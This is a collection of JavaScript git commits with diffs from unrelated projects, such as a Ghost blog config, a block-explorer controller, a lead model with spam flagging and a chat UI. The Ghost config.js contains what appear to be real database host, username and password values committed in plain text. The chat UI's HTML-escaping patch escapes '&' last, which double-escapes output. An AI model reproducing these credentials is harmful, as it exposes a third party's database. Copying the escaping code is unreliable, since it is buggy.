done(e); }); }); var filter = {}; it('#04. should success when get data for Excel Report', function (done) { inventoryMovementManager.getXls(resultForExcelTest, filter) .then(xlsData => { xlsData.should.have.property('data'); xlsData.should.have.property('options'); xlsData.should.have.property('name'); done(); }).catch(e => { done(e); }); }); it("#05. should success when destroy all unit test data", function (done) { inventoryMovementManager.destroy(createdData._id) .then((result) => { result.should.be.Boolean(); result.should.equal(true); done(); }) .catch((e) => { done(e); }); });
JavaScript
0
@@ -1699,22 +1699,24 @@ +%22 filter +%22 : %7B%0A @@ -1723,19 +1723,21 @@ +%22 _id +%22 : create @@ -1749,16 +1749,43 @@ %7D +,%0A %22keyword%22: %22TEST%22 %0A %7D)%0A
aa1966f4d36bf3168c1a7025becf6feb37d1c0d5
Fix imports in blocks.js
app/controllers/blocks.js
app/controllers/blocks.js
'use strict'; /** * Module dependencies. */ var common = require('./common'), var async = require('async'); var bdb = require('./BlockDb').default(); var tdb = require('./TransactionDb').default(); /** * Find block by hash ... */ exports.block = function(req, res, next, hash) { bdb.fromHashWithInfo(hash, function(err, block) { if (err || !block) return common.handleErrors(err, res, next); else { tdb.getPoolInfo(block.info.tx[0], function(info) { block.info.poolInfo = info; req.block = block.info; return next(); }); } }); }; /** * Show block */ exports.show = function(req, res) { if (req.block) { res.jsonp(req.block); } }; /** * Show block by Height */ exports.blockindex = function(req, res, next, height) { bdb.blockIndex(height, function(err, hashStr) { if (err) { console.log(err); res.status(400).send('Bad Request'); // TODO } else { res.jsonp(hashStr); } }); }; var getBlock = function(blockhash, cb) { bdb.fromHashWithInfo(blockhash, function(err, block) { if (err) { console.log(err); return cb(err); } // TODO if (!block.info) { console.log('Could not get %s from RPC. Orphan? Error?', blockhash); //TODO // Probably orphan block.info = { hash: blockhash, isOrphan: 1, }; } tdb.getPoolInfo(block.info.tx[0], function(info) { block.info.poolInfo = info; return cb(err, block.info); }); }); }; /** * List of blocks by date */ var DFLT_LIMIT=200; // in testnet, this number is much bigger, we dont support // exploring blocks by date. exports.list = function(req, res) { var isToday = false; //helper to convert timestamps to yyyy-mm-dd format var formatTimestamp = function(date) { var yyyy = date.getUTCFullYear().toString(); var mm = (date.getUTCMonth() + 1).toString(); // getMonth() is zero-based var dd = date.getUTCDate().toString(); return yyyy + '-' + (mm[1] ? mm : '0' + mm[0]) + '-' + (dd[1] ? dd : '0' + dd[0]); //padding }; var dateStr; var todayStr = formatTimestamp(new Date()); if (req.query.blockDate) { // TODO: Validate format yyyy-mm-dd dateStr = req.query.blockDate; isToday = dateStr === todayStr; } else { dateStr = todayStr; isToday = true; } var gte = Math.round((new Date(dateStr)).getTime() / 1000); //pagination var lte = parseInt(req.query.startTimestamp) || gte + 86400; var prev = formatTimestamp(new Date((gte - 86400) * 1000)); var next = lte ? formatTimestamp(new Date(lte * 1000)) :null; var limit = parseInt(req.query.limit || DFLT_LIMIT) + 1; var more; bdb.getBlocksByDate(gte, lte, limit, function(err, blockList) { if (err) { res.status(500).send(err); } else { var l = blockList.length; if (l===limit) { more = true; blockList.pop; } var moreTs=lte; async.mapSeries(blockList, function(b, cb) { getBlock(b.hash, function(err, info) { if (err) { console.log(err); return cb(err); } if (b.ts < moreTs) moreTs = b.ts; return cb(err, { height: info.height, size: info.size, hash: b.hash, time: b.ts || info.time, txlength: info.tx.length, poolInfo: info.poolInfo }); }); }, function(err, allblocks) { // sort blocks by height allblocks.sort( function compare(a,b) { if (a.height < b.height) return 1; if (a.height > b.height) return -1; return 0; }); res.jsonp({ blocks: allblocks, length: allblocks.length, pagination: { next: next, prev: prev, currentTs: lte - 1, current: dateStr, isToday: isToday, more: more, moreTs: moreTs, } }); }); } }); };
JavaScript
0
@@ -72,17 +72,17 @@ common') -, +; %0Avar asy @@ -124,16 +124,24 @@ quire('. +./../lib /BlockDb @@ -174,16 +174,24 @@ quire('. +./../lib /Transac
fec8d3319a4e61831964adc0f73de50448782734
Im dumb
config.js
config.js
// # Ghost Configuration // Setup your Ghost install for various [environments](http://support.ghost.org/config/#about-environments). // Ghost runs in `development` mode by default. Full documentation can be found at http://support.ghost.org/config/ var path = require('path'), config; config = { // ### Production // When running Ghost in the wild, use the production environment. // Configure your URL and mail settings here production: { url: 'https://whispering-depths-9307.herokuapp.com/', mail: '[email protected]', database: { client: 'postgres', connection: { host: 'ec2-54-83-52-71.compute-1.amazonaws.com', username: 'gktanzgtaypuez', password: 'ZEDRW-wi9BZlL3VR9IAl1Uo8YM', database: 'd81v6pam2uaa3e', port: '5432', filename: path.join(__dirname, '/content/data/ghost.db') }, debug: false }, server: { host: '0.0.0.0', port: 'process.env.PORT' } }, // ### Development **(default)** development: { // The url to use when providing links to the site, E.g. in RSS and email. // Change this to your Ghost blog's published URL. url: 'http://localhost:2368', // Example mail config // Visit http://support.ghost.org/mail for instructions // ``` // mail: { // transport: 'SMTP', // options: { // service: 'Mailgun', // auth: { // user: '', // mailgun username // pass: '' // mailgun password // } // } // }, // ``` // #### Database // Ghost supports sqlite3 (default), MySQL & PostgreSQL database: { client: 'sqlite3', connection: { filename: path.join(__dirname, '/content/data/ghost-dev.db') }, debug: false }, // #### Server // Can be host & port (default), or socket server: { // Host to be passed to node's `net.Server#listen()` host: '127.0.0.1', // Port to be passed to node's `net.Server#listen()`, for iisnode set this to `process.env.PORT` port: '2368' }, // #### Paths // Specify where your content directory lives paths: { contentPath: path.join(__dirname, '/content/') } }, // **Developers only need to edit below here** // ### Testing // Used when developing Ghost to run tests and check the health of Ghost // Uses a different port number testing: { url: 'http://127.0.0.1:2369', database: { client: 'sqlite3', connection: { filename: path.join(__dirname, '/content/data/ghost-test.db') } }, server: { host: '127.0.0.1', port: '2369' }, logging: false }, // ### Testing MySQL // Used by Travis - Automated testing run through GitHub 'testing-mysql': { url: 'http://127.0.0.1:2369', database: { client: 'mysql', connection: { host : '127.0.0.1', user : 'root', password : '', database : 'ghost_testing', charset : 'utf8' } }, server: { host: '127.0.0.1', port: '2369' }, logging: false }, // ### Testing pg // Used by Travis - Automated testing run through GitHub 'testing-pg': { url: 'http://127.0.0.1:2369', database: { client: 'pg', connection: { host : '127.0.0.1', user : 'postgres', password : '', database : 'ghost_testing', charset : 'utf8' } }, server: { host: '127.0.0.1', port: '2369' }, logging: false } }; module.exports = config;
JavaScript
0.999773
@@ -719,20 +719,16 @@ user -name : 'gktan
ace49563d13c5538003d8782ecefaea7405f16ce
Update generated file.
dist/main.js
dist/main.js
!function(e,r){"function"==typeof define&&define.amd?define(r):"object"==typeof exports?module.exports=r(require,exports,module):e.gulpWrapUmd=r()}(this,function(){var e,r,n,t={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",decodeArrayBuffer:function(e){var r=e.length/4*3,n=new ArrayBuffer(r);return this.decode(e,n),n},decode:function(e,r){var n=this._keyStr.indexOf(e.charAt(e.length-1)),t=this._keyStr.indexOf(e.charAt(e.length-2)),i=e.length/4*3;64==n&&i--,64==t&&i--;var a,c,f,o,d,h,u,l,s=0,A=0;for(a=r?new Uint8Array(r):new Uint8Array(i),e=e.replace(/[^A-Za-z0-9\+\/=]/g,""),s=0;i>s;s+=3)d=this._keyStr.indexOf(e.charAt(A++)),h=this._keyStr.indexOf(e.charAt(A++)),u=this._keyStr.indexOf(e.charAt(A++)),l=this._keyStr.indexOf(e.charAt(A++)),c=d<<2|h>>4,f=(15&h)<<4|u>>2,o=(3&u)<<6|l,a[s]=c,64!=u&&(a[s+1]=f),64!=l&&(a[s+2]=o);return a}};return e=function(r){var n;return n=r.length,0===n?0:r[n-1]+(e(r.slice(0,n-1))<<8)},r=function(e){var r;return function(){var n,t,i;for(i=[],n=0,t=e.length;t>n;n++)r=e[n],i.push(String.fromCharCode(r));return i}().join("")},n=function(r){var n,i,a,c,f;return r=r.replace(/\r?\n/g,""),r=null!=(f=/AAAAB3NzaC1yc2E[A-Za-z0-9+\/=]+/.exec(r))?f[0]:void 0,null==r?"missing header":(n=t.decode(r),a=e(n.slice(11,15)),i=15+a,c=e(n.slice(i,+(i+3)+1||9e9)),i+=4+c,i!==n.length?"invalid key length":!0)}});
JavaScript
0
@@ -165,18 +165,16 @@ var e,r, -n, t=%7B_keyS @@ -293,17 +293,17 @@ gth/4*3, -n +t =new Arr @@ -339,12 +339,12 @@ e(e, -n),n +t),t %7D,de @@ -366,17 +366,17 @@ ,r)%7Bvar -n +t =this._k @@ -411,17 +411,17 @@ gth-1)), -t +n =this._k @@ -475,17 +475,17 @@ 4*3;64== -n +t &&i--,64 @@ -482,25 +482,25 @@ =t&&i--,64== -t +n &&i--;var a, @@ -505,20 +505,20 @@ a,c, -f,o,d,h,u +d,f,h,o ,l, +u, s=0, @@ -615,17 +615,17 @@ %3Es;s+=3) -d +h =this._k @@ -653,17 +653,55 @@ t(A++)), -h +o=this._keyStr.indexOf(e.charAt(A++)),l =this._k @@ -771,87 +771,49 @@ +)), -l=this._keyStr.indexOf(e.charAt(A++)),c=d +c=h %3C%3C2%7C -h +o %3E%3E4, -f +d =(15& -h +o )%3C%3C4%7C -u +l %3E%3E2, -o +f =(3& -u +l )%3C%3C6%7C -l +u ,a%5Bs @@ -820,17 +820,17 @@ %5D=c,64!= -u +l &&(a%5Bs+1 @@ -835,16 +835,16 @@ +1%5D= -f +d ),64!= -l +u &&(a @@ -849,17 +849,17 @@ (a%5Bs+2%5D= -o +f );return @@ -892,17 +892,17 @@ var -n +t ;return n=r. @@ -897,17 +897,17 @@ ;return -n +t =r.lengt @@ -916,15 +916,15 @@ 0=== -n +t ?0:r%5B -n +t -1%5D+ @@ -936,17 +936,17 @@ slice(0, -n +t -1))%3C%3C8) @@ -962,164 +962,24 @@ ion( -e)%7Bvar r;return function()%7Bvar n,t,i;for(i=%5B%5D,n=0,t=e.length;t%3En;n++)r=e%5Bn%5D,i.push(String.fromCharCode(r));return i%7D().join(%22%22)%7D,n=function(r)%7Bvar n,i,a,c,f +r)%7Bvar n,i,a,c,d ;ret @@ -1016,17 +1016,17 @@ =null!=( -f +d =/AAAAB3 @@ -1061,17 +1061,17 @@ xec(r))? -f +d %5B0%5D:void @@ -1082,17 +1082,17 @@ ull==r?%22 -m +M issing h @@ -1096,16 +1096,17 @@ g header +. %22:(n=t.d @@ -1192,17 +1192,17 @@ length?%22 -i +I nvalid k @@ -1210,16 +1210,17 @@ y length +. %22:!0)%7D%7D)
753738c0d295f9e0d8a05a381e11d89e4e98de7f
Actually mark as spam
models/lead_model.js
models/lead_model.js
var mongoose = require('mongoose'); var Schema = mongoose.Schema; var ObjectId = mongoose.Schema.Types.ObjectId; var Location = require('./location_model'); var Space = require('./space_model'); var User = require('./user_model'); var rest = require("restler-q"); var config = require("config"); var LeadSchema = new Schema({ name: { type: String, index: true }, organisation: String, location_id: { type: ObjectId, index: true, ref: "Location" }, space_id: { type: ObjectId, index: true, ref: "Space" }, email: { type: String, index: true }, mobile: String, date_created: { type: Date, default: Date.now, index: true }, source: String, url: String, type: String, intercom_id: String, mailtemplate_id: ObjectId, membership_id: { type: ObjectId, ref: "Membership" }, short_name: String, legal_name: String, accounts_email: String, website: String, address: String, postal_address: String, vat: String, company_registration_number: String, seats: Number, spam: { type: Boolean, default: false }, data: mongoose.Schema.Types.Mixed, "g-recaptcha-response": String, referral_user_id: { type: ObjectId, ref: "User" }, referral_date_paid: Date, referral_amount: Number, heat: { type: String, validate: /hot|mild|cold/, default: "cold" }, _deleted: { type: Boolean, default: false, index: true }, _owner_id: ObjectId }); LeadSchema.set("_perms", { admin: "cru", super_user: "crud", user: "cr", all: "c", }); LeadSchema.index( { "name": "text", "email": "text", "organisation": "text" } ); LeadSchema.pre("save", function(next) { var Lead = require("./lead_model"); var transaction = this; Lead.findOne({ _id: transaction._id }) .then(result => { if (result) // Is an edit return next(); if (this.__user) { this.spam = false; return next(); } if (this.email.endsWith(".ru")) { return next(); } if (this["g-recaptcha-response"]) { rest.post(config.recaptcha.url, { data: { secret: config.recaptcha.secret, response: this["g-recaptcha-response"] }}) .then(result => { this.spam = !result.success; next(); }) .catch(err => { console.error(err); this.spam = true; next(); }) } else { this.spam = true; next(); } }) }); LeadSchema.post("save", function() { if (!this.email) return; if (this.spam) return; var Contact = require("./contact_model"); Contact.populate({ email: this.email }); }) module.exports = mongoose.model('Lead', LeadSchema);
JavaScript
0.99929
@@ -1830,24 +1830,45 @@ h(%22.ru%22)) %7B%0A +%09%09%09this.spam = true;%0A %09%09%09return ne
be5331bef27808bd39c1e7941200698ec1a53bf0
Make filters more pivotal-style-search friendly
app/public/js/tt.search.js
app/public/js/tt.search.js
var TT = TT || {}; TT.Search = (function () { var pub = {}; function enterKeyPressed(e) { return e.which === 13; } pub.addSearchTag = function (term) { TT.Model.Filter.add({ name: term, type: 'search', fn: function (story) { return JSON.stringify(story).toLowerCase().indexOf(term) !== -1; } }); TT.View.drawStories(); }; pub.includeDone = function () { return $('#includeDone').is(':checked'); }; pub.requestMatchingStories = function (term) { TT.View.message('Searching for <strong>' + term + '</strong>...'); if (pub.includeDone()) { term += ' includedone:true'; } TT.Model.Project.each(function (index, project) { TT.Ajax.start(); $.ajax({ url: '/stories', data: { projectID: project.id, filter: term }, success: function (stories) { stories = TT.API.normalizePivotalArray(stories.story); if (stories) { TT.View.message('Found <strong>' + stories.length + '</strong> stories in <strong>' + project.name + '</strong>'); $.each(stories, function (index, story) { story.id = parseInt(story.id, 10); TT.Model.Story.overwrite(story); }); TT.View.drawStories(); } else { TT.View.message('No results found in <strong>' + project.name + '</strong>'); } TT.Ajax.end(); } }); }); }; pub.submitSearch = function () { var search = $('#search input'); var term = $.trim(search.val().toLowerCase()); if (term) { pub.addSearchTag(term); pub.requestMatchingStories(term); } search.val(''); }; pub.init = function () { var timeout; $('#search input').blur(function () { $(this).val(''); }).keyup(function (e) { if (enterKeyPressed(e)) { pub.submitSearch(); } }); }; return pub; }());
JavaScript
0
@@ -168,170 +168,559 @@ -TT.Model.Filter.add(%7B%0A name: term,%0A type: 'search',%0A fn: function (story) %7B%0A return JSON.stringify(story).toLowerCase().indexOf(term) !== -1 +var terms = term.split(' ').map(function (term) %7B%0A return (term.indexOf(':') !== -1 ? term.split(':')%5B1%5D : term).replace(/%5C'%5C%22/g, '');%0A %7D);%0A%0A TT.Model.Filter.add(%7B%0A name: term,%0A type: 'search',%0A fn: function (story) %7B%0A if (terms.length === 0) %7B%0A return true;%0A %7D%0A var text = JSON.stringify(story).toLowerCase();%0A var match = false;%0A $.each(terms, function (i, term) %7B%0A if (text.indexOf(term) !== -1) %7B%0A match = true;%0A %7D%0A %7D);%0A%0A return match ;%0A
5f165f887178937d3d0e4c0bd98708043177fa65
add m-model case
dist/moon.js
dist/moon.js
/* * Moon 0.0.0 * Copyright 2016, Kabir Shah * https://github.com/KingPixil/moon/ * Free to use under the MIT license. * https://kingpixil.github.io/license */ "use strict"; (function(window) { function Moon(opts) { var _el = opts.el; var _data = opts.data; var _methods = opts.methods; this.$el = document.getElementById(_el); this.dom = {type: this.$el.nodeName, children: [], node: this.$el}; // Change state when $data is changed Object.defineProperty(this, '$data', { get: function() { return _data; }, set: function(value) { _data = value; this.build(this.dom.children); } }); // Utility: Raw Attributes -> Key Value Pairs var extractAttrs = function(node) { var attrs = {}; if(!node.attributes) return attrs; var rawAttrs = node.attributes; for(var i = 0; i < rawAttrs.length; i++) { attrs[rawAttrs[i].name] = rawAttrs[i].value } return attrs; } // Utility: Create Elements Recursively For all Children this.recursiveChildren = function(children) { var recursiveChildrenArr = []; for(var i = 0; i < children.length; i++) { var child = children[i]; recursiveChildrenArr.push(this.createElement(child.nodeName, this.recursiveChildren(child.childNodes), child.textContent, extractAttrs(child), child)); } return recursiveChildrenArr; } // Utility: Create Virtual DOM Instance this.createVirtualDOM = function(node) { var vdom = this.createElement(node.nodeName, this.recursiveChildren(node.childNodes), node.textContent, extractAttrs(node), node); this.dom = vdom; } // Build the DOM with $data this.build = function(children) { var tempData = this.$data; for(var i = 0; i < children.length; i++) { var el = children[i]; if(el.type === "#text") { var tmpVal = el.val; el.val.replace(/{{(\w+)}}/gi, function(match, p1) { var newVal = tmpVal.replace(match, tempData[p1]); el.node.textContent = newVal; tmpVal = newVal; }); } else { for(var prop in el.props) { var tmpVal = el.props[prop]; switch (prop) { case "m-if": tempData[tmpVal] ? el.node.textContent = el.val : el.node.textContent = ""; break; default: } el.props[prop].replace(/{{(\w+)}}/gi, function(match, p1) { var dataToAdd = tempData[p1]; var newVal = tmpVal.replace(new RegExp(match, "gi"), dataToAdd); el.node.setAttribute(prop, newVal); tmpVal = newVal; }); } this.build(el.children); } } } // Create Virtual DOM Object from Params this.createElement = function(type, children, val, props, node) { return {type: type, children: children, val: val, props: props, node: node}; } // Set any value in $data this.set = function(key, val) { this.$data[key] = val; this.build(this.dom.children); } // Get any value in $data this.get = function(key) { return this.$data[key]; } // Make AJAX GET/POST requests this.ajax = function(method, url, params, cb) { var xmlHttp = new XMLHttpRequest(); method = method.toUpperCase(); if(typeof params === "function") { cb = params; } var urlParams = "?"; if(method === "POST") { http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); for(var param in params) { urlParams += param + "=" + params[param] + "&"; } } xmlHttp.onreadystatechange = function() { if (xmlHttp.readyState == 4 && xmlHttp.status == 200) cb(JSON.parse(xmlHttp.responseText)); } xmlHttp.open(method, url, true); xmlHttp.send(method === "POST" ? urlParams : null); } // Call a method defined in _methods this.method = function(method) { _methods[method](); } // Initialize this.createVirtualDOM(this.$el); this.build(this.dom.children); } window.Moon = Moon; window.$ = function(el) { el = document.querySelectorAll(el); return el.length === 1 ? el[0] : el; } })(window);
JavaScript
0.000026
@@ -2682,16 +2682,75 @@ break;%0A + case %22m-model%22:%0A %0A
59aea5d1f4118916a4b0d126c1e59e3a129d9f6e
add image_url to local user info
models/user/index.js
models/user/index.js
const mongoose = require("mongoose"); const passwordPlugin = require("./plugins/password-plugin"); const passportLocalPlugin = require("./plugins/passport-local-plugin"); const passportOauthPlugin = require("./plugins/passport-oauth-plugin"); const User = mongoose.Schema({ local: { username: { type: String, unique: true, sparse: true, trim: true }, email: { type: String, unique: true, sparse: true, trim: true }, hash: { type: String, select: false }, salt: { type: String, select: false } }, github: { id: { type: String }, username: { type: String, trim: true }, image_url: { type: String, default: "/media/dummy_image.png" } }, twitter: { id: { type: String }, username: { type: String, trim: true }, image_url: { type: String, default: "/media/dummy_image.png" } } }); User.plugin(passwordPlugin, { usernameField: "local.username", hashField: "local.hash", saltField: "local.salt" }); User.plugin(passportLocalPlugin, { usernameField: "local.username", hashField: "local.hash", saltField: "local.salt" }); User.plugin(passportOauthPlugin); module.exports = mongoose.model("user", User);
JavaScript
0
@@ -417,24 +417,92 @@ im: true %7D,%0A + image_url: %7B type: String, default: %22/media/dummy_image.png%22 %7D,%0A hash: %7B
e2de972d1c50a5df3cb5ef4a56658c6494d8de66
use access public
scripts/publish-to-npm.js
scripts/publish-to-npm.js
'use strict'; const yargs = require('yargs'); const execa = require('execa'); const util = require('util'); const glob = util.promisify(require('glob')); const fs = require('fs-extra'); const path = require('path'); const rootDir = process.cwd(); let argv = yargs .usage( '$0 [-t|--tag]' ) .command({ command: '*', builder: yargs => { return yargs .option('t', { alias: 'tag', describe: 'the npm dist-tag', default: 'latest', type: 'string', }); }, handler: async argv => { const packageJsonData = JSON.parse( await fs.readFile(path.join(rootDir, 'package.json')) ); const packageDirs = ( await Promise.all(packageJsonData.workspaces.map((item) => glob(item))) ).flat(); await Promise.all(packageDirs.map((item) => { const publishCmd = `npm publish --tag ${argv.tag} --registry=https://registry.npmjs.org/ `; return execa(publishCmd, { shell: true, stdio: 'inherit', cwd: path.join(rootDir, item) }); })) }, }) .help().argv;
JavaScript
0
@@ -919,16 +919,31 @@ js.org/ +--access public %60;%0A%09%09%09%09r
e1c29a87142b4f19553f84c8895b6cc98cef424c
Make animations better, just cheat and use rotation instead of quaternions
js/models/MtnxToThreeJs.js
js/models/MtnxToThreeJs.js
PP64.ns("utils"); // Converts extracted MTNX (animation) data into a Three.js AnimationClip. PP64.utils.MtnxToThreeJs = class MtnxToThreeJs { constructor() { } createClip(mtnx) { const tracks = this._createTracks(mtnx); const duration = this._framesToSeconds(mtnx.totalFrames); return new THREE.AnimationClip("MTNX", duration, tracks); } _createTracks(mtnx) { const tracks = []; for (let i = 0; i < mtnx.tracks.length; i++) { const track = this._createTrack(mtnx.tracks[i]); if (track) { tracks.push(track); } } this._adjustTrackOrder(tracks); return tracks; } _createTrack(track) { const TrackType = PP64.utils.MTNX.TrackType; switch (track.type) { case TrackType.Transform: return this._createTransformTrack(track); case TrackType.Rotation: return this._createRotationTrack(track); case TrackType.Scale: return this._createScaleTrack(track); } console.warn(`Unsupported track type ${$$hex(track.type)}`); } _createTransformTrack(track) { const name = this._createTransformTrackName(track); const keyframes = this._createKeyframeSecsArr(track.keyframes); const data = this._createTransformTrackData(track); return new THREE.VectorKeyframeTrack(name, keyframes, data); } _createTransformTrackName(track) { const nodeName = this._getObjNameFromIndex(track.objIndex); const dimension = this._getDimensionProperty(track.dimension); return `${nodeName}.position[${dimension}]`; } _createTransformTrackData(track) { const data = []; for (let frame in track.keyframes) { let pos = track.keyframes[frame].value1; data.push(pos); } return data; } _createRotationTrack(track) { const name = this._createRotationTrackName(track); const keyframes = this._createKeyframeSecsArr(track.keyframes); const data = this._createRotationTrackData(track); return new THREE.QuaternionKeyframeTrack(name, keyframes, data); } _createRotationTrackName(track) { const nodeName = this._getObjNameFromIndex(track.objIndex); //const dimension = this._getDimensionProperty(track.dimension); return `${nodeName}.quaternion`; } _createRotationTrackData(track) { const data = []; for (let frame in track.keyframes) { const degrees = track.keyframes[frame].value1; const quaternion = this._createQuaternion(track.dimension, degrees); data.push(quaternion.x, quaternion.y, quaternion.z, quaternion.w); } return data; } _createQuaternion(dimension, degrees) { const quaternion = new THREE.Quaternion(); const rads = $$number.degreesToRadians(degrees); const Dimension = PP64.utils.MTNX.Dimension; switch (dimension) { case Dimension.X: quaternion.setFromAxisAngle(new THREE.Vector3(1, 0, 0), rads); break; case Dimension.Y: quaternion.setFromAxisAngle(new THREE.Vector3(0, 1, 0), rads); break; case Dimension.Z: quaternion.setFromAxisAngle(new THREE.Vector3(0, 0, 1), rads); break; default: console.warn(`Didn't set quaternion value for ${$$hex(dimension)}`); } return quaternion; } _createScaleTrack(track) { const name = this._createScaleTrackName(track); const keyframes = this._createKeyframeSecsArr(track.keyframes); const data = this._createScaleTrackData(track); return new THREE.VectorKeyframeTrack(name, keyframes, data); } _createScaleTrackName(track) { const nodeName = this._getObjNameFromIndex(track.objIndex); const dimension = this._getDimensionProperty(track.dimension); return `${nodeName}.scale[${dimension}]`; } _createScaleTrackData(track) { const data = []; for (let frame in track.keyframes) { let pos = track.keyframes[frame].value1; data.push(pos); } return data; } _createKeyframeSecsArr(keyframesObj) { const arr = []; for (let frame in keyframesObj) { arr.push(this._framesToSeconds(parseInt(frame))); } return arr; } _getDimensionProperty(dimension) { const Dimension = PP64.utils.MTNX.Dimension; switch (dimension) { case Dimension.X: return "x"; case Dimension.Y: return "y"; case Dimension.Z: return "z"; } throw `Unknown dimension ${$$hex(dimension)}`; } _getObjNameFromIndex(index) { let cur3DIndex = -1; const objs = this.form.OBJ1[0].parsed.objects; for (let i = 0; i < objs.length; i++) { if (objs[i].objType === 0x3D) { cur3DIndex++; if (cur3DIndex === index) { return $$hex(objs[i].globalIndex); } } } console.warn(`Couldn't find associated object ${index} for track`); return $$hex(index); // Probably wrong } _framesToSeconds(frames) { return frames / 60; } _adjustTrackOrder(tracks) { // for (let i = 0; i < tracks.length - 2; i++) { // if (tracks[i].name.indexOf("quaternion") >= 0 // && tracks[i + 1] && tracks[i + 1].name === tracks[i].name // && tracks[i + 2] && tracks[i + 2].name === tracks[i].name) // { // // Swap to ensure ZYX ordering // [tracks[i], tracks[i + 1], tracks[i + 2]] // = [tracks[i + 2], tracks[i + 1], tracks[i]]; // } // } } };
JavaScript
0
@@ -1973,26 +1973,22 @@ w THREE. -Quaternion +Vector Keyframe @@ -2126,18 +2126,16 @@ x);%0A -// const di @@ -2213,26 +2213,38 @@ deName%7D. -quatern +rotation%5B$%7Bdimens ion +%7D%5D %60;%0A %7D%0A%0A @@ -2410,141 +2410,71 @@ nst -quaternion = this._createQuaternion(track.dimension, degrees);%0A data.push(quaternion.x, quaternion.y, quaternion.z, quaternion.w +rads = $$number.degreesToRadians(degrees);%0A data.push(rads );%0A
301180f75004fa969e33ebe3cb2827f48430a9db
add new controller
node/apps/controller/welcome.js
node/apps/controller/welcome.js
function index(res, req) { console.log("Request handler 'welcome' was called."); var data = {}; data.hello = "hello"; data.pageTitle = '<script>alert(1)</script>'; data._CSSLinks = ['home', 'pages/main']; this.render(res, req, 'welcome.html', data); } exports.index = index;
JavaScript
0
@@ -250,16 +250,289 @@ data);%0A%7D +%0Afunction h(res, req) %7B%0A%09console.log(this)%0A%09console.log(%22Request handler 'welcome' was called.%22);%0A%09var data = %7B%7D;%0A%09data.hello = %22hello%22;%0A%09data.pageTitle = '%3Cscript%3Ealert(1)%3C/script%3E';%0A%09data._CSSLinks = %5B'home', 'pages/main'%5D;%0A%09this.render(res, req, 'welcome.html', data);%0A%7D %0A%0Aexport @@ -547,8 +547,23 @@ = index; +%0Aexports.h = h;
3eb994b14e168f19ff136fc96054c3a8a6d2c3ad
Improve message escaping
nodejs/public/js/ui.messages.js
nodejs/public/js/ui.messages.js
UI.once('init', function(){ var UI = this , messages = new MessageList() , newline = Util.Text.newlineMatcher , last_line = null , msgs = []; // Clicking on username appends @username to the input $('#message_list').click(function(e){ var name = $(e.target).data('data-uname'); if(name){ var input = $('#message'), val = input.val().trim(); val += ' @' + name.split(' ')[0]; val = val.trim() + ' '; input.val(val).focus(); input.get(0).selectionStart = input.get(0).selectionEnd = val.length; } }) function prepareMessageElement(el, data){ var text = '' + data.msg, first; text .split(newline) .forEach(function(line){ var wrap = $('<div class="wrap">'); first = first || wrap; //todo check for user element that enables or disables profanity line = Util.Text.wordFilter(line); el.append(linkifyAndInsert(wrap, line)); }); el.addClass('msg'); first.append(timestamp(data)); return el; } function linkifyAndInsert(el, text){ if(Util.Text.linkifyTest(text)){ //escape <,> so we don't include any nasty html tags text = text.replace(/</g, '&lt;').replace(/>/g,'&gt;'); el.html(Util.Text.linkify(text)); } else el.text(text); return el; } function timestamp(data){ if(!data.t) return; var ts = $('<div>'), date = new Date(data.t), time = Util.date(date) + " " + Util.time(date); ts.addClass('ts'); ts.text(time); return ts; } function pruneOldMessages(){ var num_to_remove = msgs.length - WOMPT.messages.max_shown; if(num_to_remove <=0) return; for(var i=0; i < num_to_remove; i++){ var msg = msgs[i], next = msgs[i+1]; if(msg.from.id == next.from.id){ next.nick.text(next.from.name); next.nick.css('color', UI.Colors.forUser(next.from.id)); next.nick.addClass('name'); next.line.addClass('first'); } msg.line.remove(); } msgs.splice(0,num_to_remove); } function firstMessageInGroup(msg){ msg.nick.text(msg.from.name); if(msg.from.id != 'system'){ msg.nick.css('color', UI.Colors.forUser(msg.from.id)); msg.nick.data('data-uname', msg.from.name); } msg.nick.addClass('name'); msg.line.addClass('first'); } UI.Messages = { list:messages, actions:{ message: function(data){ UI.emit('before_append', data); UI.Messages.appendWithoutEvents(data); UI.emit('after_append', data); UI.emit('user_message', data); }, batch: function(msg){ UI.emit('before_append', msg.messages); UI.muteEvents(function(){ $.each(msg.messages, function(i,m){ if(m.action == 'message'){ UI.Messages.appendWithoutEvents(m); UI.emit('user_message', m); } else UI.Messages.newMessage(m); }); }); UI.emit('after_append', msg.messages); } }, newMessage: function(msg){ var action = UI.Messages.actions[msg.action]; if(action) action(msg); }, appendWithoutEvents: function(data){ var same_person = last_line && (last_line.from.id == data.from.id), line = $('<tr>'), nick = $('<td>'), msg_container = $('<td>'); if(data.from.id == 'system'){ line.addClass('system'); msg_container.attr('colspan', 2); line.append(msg_container); }else line.append(nick, msg_container); line.addClass('line'); prepareMessageElement(msg_container, data); if(Util.Text.mentionMatcher(data.msg)){ line.addClass('mention'); } data.line = line; data.nick = nick; last_line = data; if(!same_person) firstMessageInGroup(data); $('#message_list').append(line); msgs.push(data); pruneOldMessages(); return line; }, system: function(msg){ UI.emit('before_append', msg); var line = UI.Messages.appendWithoutEvents({from:{id:'system'}, msg:msg, t:Util.ts()}); UI.emit('after_append', msg); UI.emit('system_message', msg); return line; } } });
JavaScript
0.000046
@@ -1065,11 +1065,23 @@ ape +%5B %3C, -%3E + %3E, ', %22, &%5D so @@ -1131,16 +1131,130 @@ t = text +%0A .replace(/'/g, '&#39;')%0A .replace(/%22/g, '&quot;')%0A .replace(/&/g, '&amp;')%0A .replace @@ -1267,16 +1267,27 @@ '&lt;') +%0A .replace
7c9724cec7cb27a295d2f0a585745f0ea3d33bcf
disable test
test/protractorWithoutRestartBrowserConf.js
test/protractorWithoutRestartBrowserConf.js
